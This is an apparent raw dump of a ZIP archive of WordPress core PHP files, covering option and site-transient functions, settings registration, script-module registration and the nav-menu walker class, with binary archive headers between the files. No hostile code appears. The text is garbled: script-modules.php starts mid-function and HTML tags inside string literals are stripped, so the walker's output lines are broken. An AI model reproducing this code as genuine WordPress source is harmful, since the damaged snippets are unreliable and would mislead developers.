WordPress database abstraction object. * * @param int|null $network_id ID of the network. Can be null to default to the current network ID. * @param string $option Name of the option. Expected to not be SQL-escaped. * @param mixed $value Option value. Expected to not be SQL-escaped. * @return bool True if the value was updated, false otherwise. */ function update_network_option( $network_id, $option, $value ) { global $wpdb; if ( $network_id && ! is_numeric( $network_id ) ) { return false; } $network_id = (int) $network_id; // Fallback to the current network if a network ID is not specified. if ( ! $network_id ) { $network_id = get_current_network_id(); } wp_protect_special_option( $option ); $old_value = get_network_option( $network_id, $option ); /** * Filters a specific network option before its value is updated. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * @since 2.9.0 As 'pre_update_site_option_' . $key * @since 3.0.0 * @since 4.4.0 The `$option` parameter was added. * @since 4.7.0 The `$network_id` parameter was added. * * @param mixed $value New value of the network option. * @param mixed $old_value Old value of the network option. * @param string $option Option name. * @param int $network_id ID of the network. */ $value = apply_filters( "pre_update_site_option_{$option}", $value, $old_value, $option, $network_id ); /* * If the new and old values are the same, no need to update. * * Unserialized values will be adequate in most cases. If the unserialized * data differs, the (maybe) serialized data is checked to avoid * unnecessary database calls for otherwise identical object instances. * * See https://core.trac.wordpress.org/ticket/44956 */ if ( $value === $old_value || maybe_serialize( $value ) === maybe_serialize( $old_value ) ) { return false; } if ( false === $old_value ) { return add_network_option( $network_id, $option, $value ); } $notoptions_key = "$network_id:notoptions"; $notoptions = wp_cache_get( $notoptions_key, 'site-options' ); if ( is_array( $notoptions ) && isset( $notoptions[ $option ] ) ) { unset( $notoptions[ $option ] ); wp_cache_set( $notoptions_key, $notoptions, 'site-options' ); } if ( ! is_multisite() ) { $result = update_option( $option, $value, false ); } else { $value = sanitize_option( $option, $value ); $serialized_value = maybe_serialize( $value ); $result = $wpdb->update( $wpdb->sitemeta, array( 'meta_value' => $serialized_value ), array( 'site_id' => $network_id, 'meta_key' => $option, ) ); if ( $result ) { $cache_key = "$network_id:$option"; wp_cache_set( $cache_key, $value, 'site-options' ); } } if ( $result ) { /** * Fires after the value of a specific network option has been successfully updated. * * The dynamic portion of the hook name, `$option`, refers to the option name. * * @since 2.9.0 As "update_site_option_{$key}" * @since 3.0.0 * @since 4.7.0 The `$network_id` parameter was added. * * @param string $option Name of the network option. * @param mixed $value Current value of the network option. * @param mixed $old_value Old value of the network option. * @param int $network_id ID of the network. */ do_action( "update_site_option_{$option}", $option, $value, $old_value, $network_id ); /** * Fires after the value of a network option has been successfully updated. * * @since 3.0.0 * @since 4.7.0 The `$network_id` parameter was added. * * @param string $option Name of the network option. * @param mixed $value Current value of the network option. * @param mixed $old_value Old value of the network option. * @param int $network_id ID of the network. */ do_action( 'update_site_option', $option, $value, $old_value, $network_id ); return true; } return false; } /** * Deletes a site transient. * * @since 2.9.0 * * @param string $transient Transient name. Expected to not be SQL-escaped. * @return bool True if the transient was deleted, false otherwise. */ function delete_site_transient( $transient ) { /** * Fires immediately before a specific site transient is deleted. * * The dynamic portion of the hook name, `$transient`, refers to the transient name. * * @since 3.0.0 * * @param string $transient Transient name. */ do_action( "delete_site_transient_{$transient}", $transient ); if ( wp_using_ext_object_cache() || wp_installing() ) { $result = wp_cache_delete( $transient, 'site-transient' ); } else { $option_timeout = '_site_transient_timeout_' . $transient; $option = '_site_transient_' . $transient; $result = delete_site_option( $option ); if ( $result ) { delete_site_option( $option_timeout ); } } if ( $result ) { /** * Fires after a transient is deleted. * * @since 3.0.0 * * @param string $transient Deleted transient name. */ do_action( 'deleted_site_transient', $transient ); } return $result; } /** * Retrieves the value of a site transient. * * If the transient does not exist, does not have a value, or has expired, * then the return value will be false. * * @since 2.9.0 * * @see get_transient() * * @param string $transient Transient name. Expected to not be SQL-escaped. * @return mixed Value of transient. */ function get_site_transient( $transient ) { /** * Filters the value of an existing site transient before it is retrieved. * * The dynamic portion of the hook name, `$transient`, refers to the transient name. * * Returning a value other than boolean false will short-circuit retrieval and * return that value instead. * * @since 2.9.0 * @since 4.4.0 The `$transient` parameter was added. * * @param mixed $pre_site_transient The default value to return if the site transient does not exist. * Any value other than false will short-circuit the retrieval * of the transient, and return that value. * @param string $transient Transient name. */ $pre = apply_filters( "pre_site_transient_{$transient}", false, $transient ); if ( false !== $pre ) { return $pre; } if ( wp_using_ext_object_cache() || wp_installing() ) { $value = wp_cache_get( $transient, 'site-transient' ); } else { // Core transients that do not have a timeout. Listed here so querying timeouts can be avoided. $no_timeout = array( 'update_core', 'update_plugins', 'update_themes' ); $transient_option = '_site_transient_' . $transient; if ( ! in_array( $transient, $no_timeout, true ) ) { $transient_timeout = '_site_transient_timeout_' . $transient; wp_prime_site_option_caches( array( $transient_option, $transient_timeout ) ); $timeout = get_site_option( $transient_timeout ); if ( false !== $timeout && $timeout < time() ) { delete_site_option( $transient_option ); delete_site_option( $transient_timeout ); $value = false; } } if ( ! isset( $value ) ) { $value = get_site_option( $transient_option ); } } /** * Filters the value of an existing site transient. * * The dynamic portion of the hook name, `$transient`, refers to the transient name. * * @since 2.9.0 * @since 4.4.0 The `$transient` parameter was added. * * @param mixed $value Value of site transient. * @param string $transient Transient name. */ return apply_filters( "site_transient_{$transient}", $value, $transient ); } /** * Sets/updates the value of a site transient. * * You do not need to serialize values. If the value needs to be serialized, * then it will be serialized before it is set. * * @since 2.9.0 * * @see set_transient() * * @param string $transient Transient name. Expected to not be SQL-escaped. Must be * 167 characters or fewer in length. * @param mixed $value Transient value. Expected to not be SQL-escaped. * @param int $expiration Optional. Time until expiration in seconds. Default 0 (no expiration). * @return bool True if the value was set, false otherwise. */ function set_site_transient( $transient, $value, $expiration = 0 ) { /** * Filters the value of a specific site transient before it is set. * * The dynamic portion of the hook name, `$transient`, refers to the transient name. * * @since 3.0.0 * @since 4.4.0 The `$transient` parameter was added. * * @param mixed $value New value of site transient. * @param string $transient Transient name. */ $value = apply_filters( "pre_set_site_transient_{$transient}", $value, $transient ); $expiration = (int) $expiration; /** * Filters the expiration for a site transient before its value is set. * * The dynamic portion of the hook name, `$transient`, refers to the transient name. * * @since 4.4.0 * * @param int $expiration Time until expiration in seconds. Use 0 for no expiration. * @param mixed $value New value of site transient. * @param string $transient Transient name. */ $expiration = apply_filters( "expiration_of_site_transient_{$transient}", $expiration, $value, $transient ); if ( wp_using_ext_object_cache() || wp_installing() ) { $result = wp_cache_set( $transient, $value, 'site-transient', $expiration ); } else { $transient_timeout = '_site_transient_timeout_' . $transient; $option = '_site_transient_' . $transient; wp_prime_site_option_caches( array( $option, $transient_timeout ) ); if ( false === get_site_option( $option ) ) { if ( $expiration ) { add_site_option( $transient_timeout, time() + $expiration ); } $result = add_site_option( $option, $value ); } else { if ( $expiration ) { update_site_option( $transient_timeout, time() + $expiration ); } $result = update_site_option( $option, $value ); } } if ( $result ) { /** * Fires after the value for a specific site transient has been set. * * The dynamic portion of the hook name, `$transient`, refers to the transient name. * * @since 3.0.0 * @since 4.4.0 The `$transient` parameter was added * * @param mixed $value Site transient value. * @param int $expiration Time until expiration in seconds. * @param string $transient Transient name. */ do_action( "set_site_transient_{$transient}", $value, $expiration, $transient ); /** * Fires after the value for a site transient has been set. * * @since 6.8.0 * * @param string $transient The name of the site transient. * @param mixed $value Site transient value. * @param int $expiration Time until expiration in seconds. */ do_action( 'set_site_transient', $transient, $value, $expiration ); /** * Fires after the value for a site transient has been set. * * @since 3.0.0 * @deprecated 6.8.0 Use {@see 'set_site_transient'} instead. * * @param string $transient The name of the site transient. * @param mixed $value Site transient value. * @param int $expiration Time until expiration in seconds. */ do_action_deprecated( 'setted_site_transient', array( $transient, $value, $expiration ), '6.8.0', 'set_site_transient' ); } return $result; } /** * Registers default settings available in WordPress. * * The settings registered here are primarily useful for the REST API, so this * does not encompass all settings available in WordPress. * * @since 4.7.0 * @since 6.0.1 The `show_on_front`, `page_on_front`, and `page_for_posts` options were added. */ function register_initial_settings() { register_setting( 'general', 'blogname', array( 'show_in_rest' => array( 'name' => 'title', ), 'type' => 'string', 'label' => __( 'Title' ), 'description' => __( 'Site title.' ), ) ); register_setting( 'general', 'blogdescription', array( 'show_in_rest' => array( 'name' => 'description', ), 'type' => 'string', 'label' => __( 'Tagline' ), 'description' => __( 'Site tagline.' ), ) ); if ( ! is_multisite() ) { register_setting( 'general', 'siteurl', array( 'show_in_rest' => array( 'name' => 'url', 'schema' => array( 'format' => 'uri', ), ), 'type' => 'string', 'description' => __( 'Site URL.' ), ) ); } if ( ! is_multisite() ) { register_setting( 'general', 'admin_email', array( 'show_in_rest' => array( 'name' => 'email', 'schema' => array( 'format' => 'email', ), ), 'type' => 'string', 'description' => __( 'This address is used for admin purposes, like new user notification.' ), ) ); } register_setting( 'general', 'timezone_string', array( 'show_in_rest' => array( 'name' => 'timezone', ), 'type' => 'string', 'description' => __( 'A city in the same timezone as you.' ), ) ); register_setting( 'general', 'date_format', array( 'show_in_rest' => true, 'type' => 'string', 'description' => __( 'A date format for all date strings.' ), ) ); register_setting( 'general', 'time_format', array( 'show_in_rest' => true, 'type' => 'string', 'description' => __( 'A time format for all time strings.' ), ) ); register_setting( 'general', 'start_of_week', array( 'show_in_rest' => true, 'type' => 'integer', 'description' => __( 'A day number of the week that the week should start on.' ), ) ); register_setting( 'general', 'WPLANG', array( 'show_in_rest' => array( 'name' => 'language', ), 'type' => 'string', 'description' => __( 'WordPress locale code.' ), 'default' => 'en_US', ) ); register_setting( 'writing', 'use_smilies', array( 'show_in_rest' => true, 'type' => 'boolean', 'description' => __( 'Convert emoticons like :-) and :-P to graphics on display.' ), 'default' => true, ) ); register_setting( 'writing', 'default_category', array( 'show_in_rest' => true, 'type' => 'integer', 'description' => __( 'Default post category.' ), ) ); register_setting( 'writing', 'default_post_format', array( 'show_in_rest' => true, 'type' => 'string', 'description' => __( 'Default post format.' ), ) ); register_setting( 'reading', 'posts_per_page', array( 'show_in_rest' => true, 'type' => 'integer', 'label' => __( 'Maximum posts per page' ), 'description' => __( 'Blog pages show at most.' ), 'default' => 10, ) ); register_setting( 'reading', 'show_on_front', array( 'show_in_rest' => true, 'type' => 'string', 'label' => __( 'Show on front' ), 'description' => __( 'What to show on the front page' ), ) ); register_setting( 'reading', 'page_on_front', array( 'show_in_rest' => true, 'type' => 'integer', 'label' => __( 'Page on front' ), 'description' => __( 'The ID of the page that should be displayed on the front page' ), ) ); register_setting( 'reading', 'page_for_posts', array( 'show_in_rest' => true, 'type' => 'integer', 'description' => __( 'The ID of the page that should display the latest posts' ), ) ); register_setting( 'discussion', 'default_ping_status', array( 'show_in_rest' => array( 'schema' => array( 'enum' => array( 'open', 'closed' ), ), ), 'type' => 'string', 'description' => __( 'Allow link notifications from other blogs (pingbacks and trackbacks) on new articles.' ), ) ); register_setting( 'discussion', 'default_comment_status', array( 'show_in_rest' => array( 'schema' => array( 'enum' => array( 'open', 'closed' ), ), ), 'type' => 'string', 'label' => __( 'Allow comments on new posts' ), 'description' => __( 'Allow people to submit comments on new posts.' ), ) ); } /** * Registers a setting and its data. * * @since 2.7.0 * @since 3.0.0 The `misc` option group was deprecated. * @since 3.5.0 The `privacy` option group was deprecated. * @since 4.7.0 `$args` can be passed to set flags on the setting, similar to `register_meta()`. * @since 5.5.0 `$new_whitelist_options` was renamed to `$new_allowed_options`. * Please consider writing more inclusive code. * @since 6.6.0 Added the `label` argument. * * @global array $new_allowed_options * @global array $wp_registered_settings * * @param string $option_group A settings group name. Should correspond to an allowed option key name. * Default allowed option key names include 'general', 'discussion', 'media', * 'reading', 'writing', and 'options'. * @param string $option_name The name of an option to sanitize and save. * @param array $args { * Data used to describe the setting when registered. * * @type string $type The type of data associated with this setting. * Valid values are 'string', 'boolean', 'integer', 'number', 'array', and 'object'. * @type string $label A label of the data attached to this setting. * @type string $description A description of the data attached to this setting. * @type callable $sanitize_callback A callback function that sanitizes the option's value. * @type bool|array $show_in_rest Whether data associated with this setting should be included in the REST API. * When registering complex settings, this argument may optionally be an * array with a 'schema' key. * @type mixed $default Default value when calling `get_option()`. * } */ function register_setting( $option_group, $option_name, $args = array() ) { global $new_allowed_options, $wp_registered_settings; /* * In 5.5.0, the `$new_whitelist_options` global variable was renamed to `$new_allowed_options`. * Please consider writing more inclusive code. */ $GLOBALS['new_whitelist_options'] = &$new_allowed_options; $defaults = array( 'type' => 'string', 'group' => $option_group, 'label' => '', 'description' => '', 'sanitize_callback' => null, 'show_in_rest' => false, ); // Back-compat: old sanitize callback is added. if ( is_callable( $args ) ) { $args = array( 'sanitize_callback' => $args, ); } /** * Filters the registration arguments when registering a setting. * * @since 4.7.0 * * @param array $args Array of setting registration arguments. * @param array $defaults Array of default arguments. * @param string $option_group Setting group. * @param string $option_name Setting name. */ $args = apply_filters( 'register_setting_args', $args, $defaults, $option_group, $option_name ); $args = wp_parse_args( $args, $defaults ); // Require an item schema when registering settings with an array type. if ( false !== $args['show_in_rest'] && 'array' === $args['type'] && ( ! is_array( $args['show_in_rest'] ) || ! isset( $args['show_in_rest']['schema']['items'] ) ) ) { _doing_it_wrong( __FUNCTION__, __( 'When registering an "array" setting to show in the REST API, you must specify the schema for each array item in "show_in_rest.schema.items".' ), '5.4.0' ); } if ( ! is_array( $wp_registered_settings ) ) { $wp_registered_settings = array(); } if ( 'misc' === $option_group ) { _deprecated_argument( __FUNCTION__, '3.0.0', sprintf( /* translators: %s: misc */ __( 'The "%s" options group has been removed. Use another settings group.' ), 'misc' ) ); $option_group = 'general'; } if ( 'privacy' === $option_group ) { _deprecated_argument( __FUNCTION__, '3.5.0', sprintf( /* translators: %s: privacy */ __( 'The "%s" options group has been removed. Use another settings group.' ), 'privacy' ) ); $option_group = 'reading'; } $new_allowed_options[ $option_group ][] = $option_name; if ( ! empty( $args['sanitize_callback'] ) ) { add_filter( "sanitize_option_{$option_name}", $args['sanitize_callback'] ); } if ( array_key_exists( 'default', $args ) ) { add_filter( "default_option_{$option_name}", 'filter_default_option', 10, 3 ); } /** * Fires immediately before the setting is registered but after its filters are in place. * * @since 5.5.0 * * @param string $option_group Setting group. * @param string $option_name Setting name. * @param array $args Array of setting registration arguments. */ do_action( 'register_setting', $option_group, $option_name, $args ); $wp_registered_settings[ $option_name ] = $args; } /** * Unregisters a setting. * * @since 2.7.0 * @since 4.7.0 `$sanitize_callback` was deprecated. The callback from `register_setting()` is now used instead. * @since 5.5.0 `$new_whitelist_options` was renamed to `$new_allowed_options`. * Please consider writing more inclusive code. * * @global array $new_allowed_options * @global array $wp_registered_settings * * @param string $option_group The settings group name used during registration. * @param string $option_name The name of the option to unregister. * @param callable $deprecated Optional. Deprecated. */ function unregister_setting( $option_group, $option_name, $deprecated = '' ) { global $new_allowed_options, $wp_registered_settings; /* * In 5.5.0, the `$new_whitelist_options` global variable was renamed to `$new_allowed_options`. * Please consider writing more inclusive code. */ $GLOBALS['new_whitelist_options'] = &$new_allowed_options; if ( 'misc' === $option_group ) { _deprecated_argument( __FUNCTION__, '3.0.0', sprintf( /* translators: %s: misc */ __( 'The "%s" options group has been removed. Use another settings group.' ), 'misc' ) ); $option_group = 'general'; } if ( 'privacy' === $option_group ) { _deprecated_argument( __FUNCTION__, '3.5.0', sprintf( /* translators: %s: privacy */ __( 'The "%s" options group has been removed. Use another settings group.' ), 'privacy' ) ); $option_group = 'reading'; } $pos = false; if ( isset( $new_allowed_options[ $option_group ] ) ) { $pos = array_search( $option_name, (array) $new_allowed_options[ $option_group ], true ); } if ( false !== $pos ) { unset( $new_allowed_options[ $option_group ][ $pos ] ); } if ( '' !== $deprecated ) { _deprecated_argument( __FUNCTION__, '4.7.0', sprintf( /* translators: 1: $sanitize_callback, 2: register_setting() */ __( '%1$s is deprecated. The callback from %2$s is used instead.' ), '$sanitize_callback', 'register_setting()' ) ); remove_filter( "sanitize_option_{$option_name}", $deprecated ); } if ( isset( $wp_registered_settings[ $option_name ] ) ) { // Remove the sanitize callback if one was set during registration. if ( ! empty( $wp_registered_settings[ $option_name ]['sanitize_callback'] ) ) { remove_filter( "sanitize_option_{$option_name}", $wp_registered_settings[ $option_name ]['sanitize_callback'] ); } // Remove the default filter if a default was provided during registration. if ( array_key_exists( 'default', $wp_registered_settings[ $option_name ] ) ) { remove_filter( "default_option_{$option_name}", 'filter_default_option', 10 ); } /** * Fires immediately before the setting is unregistered and after its filters have been removed. * * @since 5.5.0 * * @param string $option_group Setting group. * @param string $option_name Setting name. */ do_action( 'unregister_setting', $option_group, $option_name ); unset( $wp_registered_settings[ $option_name ] ); } } /** * Retrieves an array of registered settings. * * @since 4.7.0 * * @global array $wp_registered_settings * * @return array { * List of registered settings, keyed by option name. * * @type array ...$0 { * Data used to describe the setting when registered. * * @type string $type The type of data associated with this setting. * Valid values are 'string', 'boolean', 'integer', 'number', 'array', and 'object'. * @type string $label A label of the data attached to this setting. * @type string $description A description of the data attached to this setting. * @type callable $sanitize_callback A callback function that sanitizes the option's value. * @type bool|array $show_in_rest Whether data associated with this setting should be included in the REST API. * When registering complex settings, this argument may optionally be an * array with a 'schema' key. * @type mixed $default Default value when calling `get_option()`. * } * } */ function get_registered_settings() { global $wp_registered_settings; if ( ! is_array( $wp_registered_settings ) ) { return array(); } return $wp_registered_settings; } /** * Filters the default value for the option. * * For settings which register a default setting in `register_setting()`, this * function is added as a filter to `default_option_{$option}`. * * @since 4.7.0 * * @param mixed $default_value Existing default value to return. * @param string $option Option name. * @param bool $passed_default Was `get_option()` passed a default value? * @return mixed Filtered default value. */ function filter_default_option( $default_value, $option, $passed_default ) { if ( $passed_default ) { return $default_value; } $registered = get_registered_settings(); if ( empty( $registered[ $option ] ) ) { return $default_value; } return $registered[ $option ]['default']; } /** * Returns the values that trigger autoloading from the options table. * * @since 6.6.0 * * @return string[] The values that trigger autoloading. */ function wp_autoload_values_to_autoload() { $autoload_values = array( 'yes', 'on', 'auto-on', 'auto' ); /** * Filters the autoload values that should be considered for autoloading from the options table. * * The filter can only be used to remove autoload values from the default list. * * @since 6.6.0 * * @param string[] $autoload_values Autoload values used to autoload option. * Default list contains 'yes', 'on', 'auto-on', and 'auto'. */ $filtered_values = apply_filters( 'wp_autoload_values_to_autoload', $autoload_values ); return array_intersect( $filtered_values, $autoload_values ); } PK!½L!I·&·&script-modules.phpnuȯÝíregister( $id, $src, $deps, $version, $args ); } /** * Marks the script module to be enqueued in the page. * * If a src is provided and the script module has not been registered yet, it * will be registered. * * @since 6.5.0 * @since 6.9.0 Added the $args parameter. * * @param string $id The identifier of the script module. Should be unique. It will be used in the * final import map. * @param string $src Optional. Full URL of the script module, or path of the script module relative * to the WordPress root directory. If it is provided and the script module has * not been registered yet, it will be registered. * @param array $deps { * Optional. List of dependencies. * * @type string|array ...$0 { * An array of script module identifiers of the dependencies of this script * module. The dependencies can be strings or arrays. If they are arrays, * they need an `id` key with the script module identifier, and can contain * an `import` key with either `static` or `dynamic`. By default, * dependencies that don't contain an `import` key are considered static. * * @type string $id The script module identifier. * @type string $import Optional. Import type. May be either `static` or * `dynamic`. Defaults to `static`. * } * } * @param string|false|null $version Optional. String specifying the script module version number. Defaults to false. * It is added to the URL as a query string for cache busting purposes. If $version * is set to false, the version number is the currently installed WordPress version. * If $version is set to null, no version is added. * @param array $args { * Optional. An array of additional args. Default empty array. * * @type bool $in_footer Whether to print the script module in the footer. Only relevant to block themes. Default 'false'. Optional. * @type 'auto'|'low'|'high' $fetchpriority Fetch priority. Default 'auto'. Optional. * } */ function wp_enqueue_script_module( string $id, string $src = '', array $deps = array(), $version = false, array $args = array() ) { wp_script_modules()->enqueue( $id, $src, $deps, $version, $args ); } /** * Unmarks the script module so it is no longer enqueued in the page. * * @since 6.5.0 * * @param string $id The identifier of the script module. */ function wp_dequeue_script_module( string $id ) { wp_script_modules()->dequeue( $id ); } /** * Deregisters the script module. * * @since 6.5.0 * * @param string $id The identifier of the script module. */ function wp_deregister_script_module( string $id ) { wp_script_modules()->deregister( $id ); } /** * Registers all the default WordPress Script Modules. * * @since 6.7.0 */ function wp_default_script_modules() { $suffix = defined( 'WP_RUN_CORE_TESTS' ) ? '.min' : wp_scripts_get_suffix(); /* * Expects multidimensional array like: * * 'interactivity/index.min.js' => array('dependencies' => array(…), 'version' => '…'), * 'interactivity/debug.min.js' => array('dependencies' => array(…), 'version' => '…'), * 'interactivity-router/index.min.js' => … */ $assets = include ABSPATH . WPINC . "/assets/script-modules-packages{$suffix}.php"; foreach ( $assets as $file_name => $script_module_data ) { /* * Build the WordPress Script Module ID from the file name. * Prepend `@wordpress/` and remove extensions and `/index` if present: * - interactivity/index.min.js => @wordpress/interactivity * - interactivity/debug.min.js => @wordpress/interactivity/debug * - block-library/query/view.js => @wordpress/block-library/query/view */ $script_module_id = '@wordpress/' . preg_replace( '~(?:/index)?(?:\.min)?\.js$~D', '', $file_name, 1 ); switch ( $script_module_id ) { /* * Interactivity exposes two entrypoints, "/index" and "/debug". * "/debug" should replace "/index" in development. */ case '@wordpress/interactivity/debug': if ( ! SCRIPT_DEBUG ) { continue 2; } $script_module_id = '@wordpress/interactivity'; break; case '@wordpress/interactivity': if ( SCRIPT_DEBUG ) { continue 2; } break; } /* * The Interactivity API is designed with server-side rendering as its primary goal, so all of its script modules * should be loaded with low fetchpriority and printed in the footer since they should not be needed in the * critical rendering path. Also, the @wordpress/a11y script module is intended to be used as a dynamic import * dependency, in which case the fetchpriority is irrelevant. See . * However, in case it is added as a static import dependency, the fetchpriority is explicitly set to be 'low' * since the module should not be involved in the critical rendering path, and if it is, its fetchpriority will * be bumped to match the fetchpriority of the dependent script. */ $args = array(); if ( str_starts_with( $script_module_id, '@wordpress/interactivity' ) || str_starts_with( $script_module_id, '@wordpress/block-library' ) || '@wordpress/a11y' === $script_module_id ) { $args['fetchpriority'] = 'low'; $args['in_footer'] = true; } // Marks all Core blocks as compatible with client-side navigation. if ( str_starts_with( $script_module_id, '@wordpress/block-library' ) ) { wp_interactivity()->add_client_navigation_support_to_script_module( $script_module_id ); } $path = includes_url( "js/dist/script-modules/{$file_name}" ); wp_register_script_module( $script_module_id, $path, $script_module_data['dependencies'], $script_module_data['version'], $args ); } } PK!(@¸² / /class-walker-nav-menu.phpnuȯÝí 'menu_item_parent', 'id' => 'db_id', ); /** * The URL to the privacy policy page. * * @since 6.8.0 * @var string */ private $privacy_policy_url; /** * Constructor. * * @since 6.8.0 */ public function __construct() { $this->privacy_policy_url = get_privacy_policy_url(); } /** * Starts the list before the elements are added. * * @since 3.0.0 * * @see Walker::start_lvl() * * @param string $output Used to append additional content (passed by reference). * @param int $depth Depth of menu item. Used for padding. * @param stdClass $args An object of wp_nav_menu() arguments. */ public function start_lvl( &$output, $depth = 0, $args = null ) { if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) { $t = ''; $n = ''; } else { $t = "\t"; $n = "\n"; } $indent = str_repeat( $t, $depth ); // Default class. $classes = array( 'sub-menu' ); /** * Filters the CSS class(es) applied to a menu list element. * * @since 4.8.0 * * @param string[] $classes Array of the CSS classes that are applied to the menu `
      ` element. * @param stdClass $args An object of `wp_nav_menu()` arguments. * @param int $depth Depth of menu item. Used for padding. */ $class_names = implode( ' ', apply_filters( 'nav_menu_submenu_css_class', $classes, $args, $depth ) ); $atts = array(); $atts['class'] = ! empty( $class_names ) ? $class_names : ''; /** * Filters the HTML attributes applied to a menu list element. * * @since 6.3.0 * * @param array $atts { * The HTML attributes applied to the `
        ` element, empty strings are ignored. * * @type string $class HTML CSS class attribute. * } * @param stdClass $args An object of `wp_nav_menu()` arguments. * @param int $depth Depth of menu item. Used for padding. */ $atts = apply_filters( 'nav_menu_submenu_attributes', $atts, $args, $depth ); $attributes = $this->build_atts( $atts ); $output .= "{$n}{$indent}{$n}"; } /** * Ends the list of after the elements are added. * * @since 3.0.0 * * @see Walker::end_lvl() * * @param string $output Used to append additional content (passed by reference). * @param int $depth Depth of menu item. Used for padding. * @param stdClass $args An object of wp_nav_menu() arguments. */ public function end_lvl( &$output, $depth = 0, $args = null ) { if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) { $t = ''; $n = ''; } else { $t = "\t"; $n = "\n"; } $indent = str_repeat( $t, $depth ); $output .= "$indent
      {$n}"; } /** * Starts the element output. * * @since 3.0.0 * @since 4.4.0 The {@see 'nav_menu_item_args'} filter was added. * @since 5.9.0 Renamed `$item` to `$data_object` and `$id` to `$current_object_id` * to match parent class for PHP 8 named parameter support. * @since 6.7.0 Removed redundant title attributes. * * @see Walker::start_el() * * @param string $output Used to append additional content (passed by reference). * @param WP_Post $data_object Menu item data object. * @param int $depth Depth of menu item. Used for padding. * @param stdClass $args An object of wp_nav_menu() arguments. * @param int $current_object_id Optional. ID of the current menu item. Default 0. */ public function start_el( &$output, $data_object, $depth = 0, $args = null, $current_object_id = 0 ) { // Restores the more descriptive, specific name for use within this method. $menu_item = $data_object; if ( isset( $args->item_spacing ) && 'discard' === $args->item_spacing ) { $t = ''; $n = ''; } else { $t = "\t"; $n = "\n"; } $indent = ( $depth ) ? str_repeat( $t, $depth ) : ''; $classes = empty( $menu_item->classes ) ? array() : (array) $menu_item->classes; $classes[] = 'menu-item-' . $menu_item->ID; /** * Filters the arguments for a single nav menu item. * * @since 4.4.0 * * @param stdClass $args An object of wp_nav_menu() arguments. * @param WP_Post $menu_item Menu item data object. * @param int $depth Depth of menu item. Used for padding. */ $args = apply_filters( 'nav_menu_item_args', $args, $menu_item, $depth ); /** * Filters the CSS classes applied to a menu item's list item element. * * @since 3.0.0 * @since 4.1.0 The `$depth` parameter was added. * * @param string[] $classes Array of the CSS classes that are applied to the menu item's `
    • ` element. * @param WP_Post $menu_item The current menu item object. * @param stdClass $args An object of wp_nav_menu() arguments. * @param int $depth Depth of menu item. Used for padding. */ $class_names = implode( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $menu_item, $args, $depth ) ); /** * Filters the ID attribute applied to a menu item's list item element. * * @since 3.0.1 * @since 4.1.0 The `$depth` parameter was added. * * @param string $menu_item_id The ID attribute applied to the menu item's `
    • ` element. * @param WP_Post $menu_item The current menu item. * @param stdClass $args An object of wp_nav_menu() arguments. * @param int $depth Depth of menu item. Used for padding. */ $id = apply_filters( 'nav_menu_item_id', 'menu-item-' . $menu_item->ID, $menu_item, $args, $depth ); $li_atts = array(); $li_atts['id'] = ! empty( $id ) ? $id : ''; $li_atts['class'] = ! empty( $class_names ) ? $class_names : ''; /** * Filters the HTML attributes applied to a menu's list item element. * * @since 6.3.0 * * @param array $li_atts { * The HTML attributes applied to the menu item's `
    • ` element, empty strings are ignored. * * @type string $class HTML CSS class attribute. * @type string $id HTML id attribute. * } * @param WP_Post $menu_item The current menu item object. * @param stdClass $args An object of wp_nav_menu() arguments. * @param int $depth Depth of menu item. Used for padding. */ $li_atts = apply_filters( 'nav_menu_item_attributes', $li_atts, $menu_item, $args, $depth ); $li_attributes = $this->build_atts( $li_atts ); $output .= $indent . ''; /** This filter is documented in wp-includes/post-template.php */ $title = apply_filters( 'the_title', $menu_item->title, $menu_item->ID ); // Save filtered value before filtering again. $the_title_filtered = $title; /** * Filters a menu item's title. * * @since 4.4.0 * * @param string $title The menu item's title. * @param WP_Post $menu_item The current menu item object. * @param stdClass $args An object of wp_nav_menu() arguments. * @param int $depth Depth of menu item. Used for padding. */ $title = apply_filters( 'nav_menu_item_title', $title, $menu_item, $args, $depth ); $atts = array(); $atts['target'] = ! empty( $menu_item->target ) ? $menu_item->target : ''; $atts['rel'] = ! empty( $menu_item->xfn ) ? $menu_item->xfn : ''; if ( ! empty( $menu_item->url ) ) { if ( $this->privacy_policy_url === $menu_item->url ) { $atts['rel'] = empty( $atts['rel'] ) ? 'privacy-policy' : $atts['rel'] . ' privacy-policy'; } $atts['href'] = $menu_item->url; } else { $atts['href'] = ''; } $atts['aria-current'] = $menu_item->current ? 'page' : ''; // Add title attribute only if it does not match the link text (before or after filtering). if ( ! empty( $menu_item->attr_title ) && trim( strtolower( $menu_item->attr_title ) ) !== trim( strtolower( $menu_item->title ) ) && trim( strtolower( $menu_item->attr_title ) ) !== trim( strtolower( $the_title_filtered ) ) && trim( strtolower( $menu_item->attr_title ) ) !== trim( strtolower( $title ) ) ) { $atts['title'] = $menu_item->attr_title; } else { $atts['title'] = ''; } /** * Filters the HTML attributes applied to a menu item's anchor element. * * @since 3.6.0 * @since 4.1.0 The `$depth` parameter was added. * * @param array $atts { * The HTML attributes applied to the menu item's `` element, empty strings are ignored. * * @type string $title Title attribute. * @type string $target Target attribute. * @type string $rel The rel attribute. * @type string $href The href attribute. * @type string $aria-current The aria-current attribute. * } * @param WP_Post $menu_item The current menu item object. * @param stdClass $args An object of wp_nav_menu() arguments. * @param int $depth Depth of menu item. Used for padding. */ $atts = apply_filters( 'nav_menu_link_attributes', $atts, $menu_item, $args, $depth ); $attributes = $this->build_atts( $atts ); $item_output = $args->before; $item_output .= ''; $item_output .= $args->link_before . $title . $args->link_after; $item_output .= ''; $item_output .= $args->after; /** * Filters a menu item's starting output. * * The menu item's starting output only includes `$args->before`, the opening ``, * the menu item's title, the closing ``, and `$args->after`. Currently, there is * no filter for modifying the opening and closing `
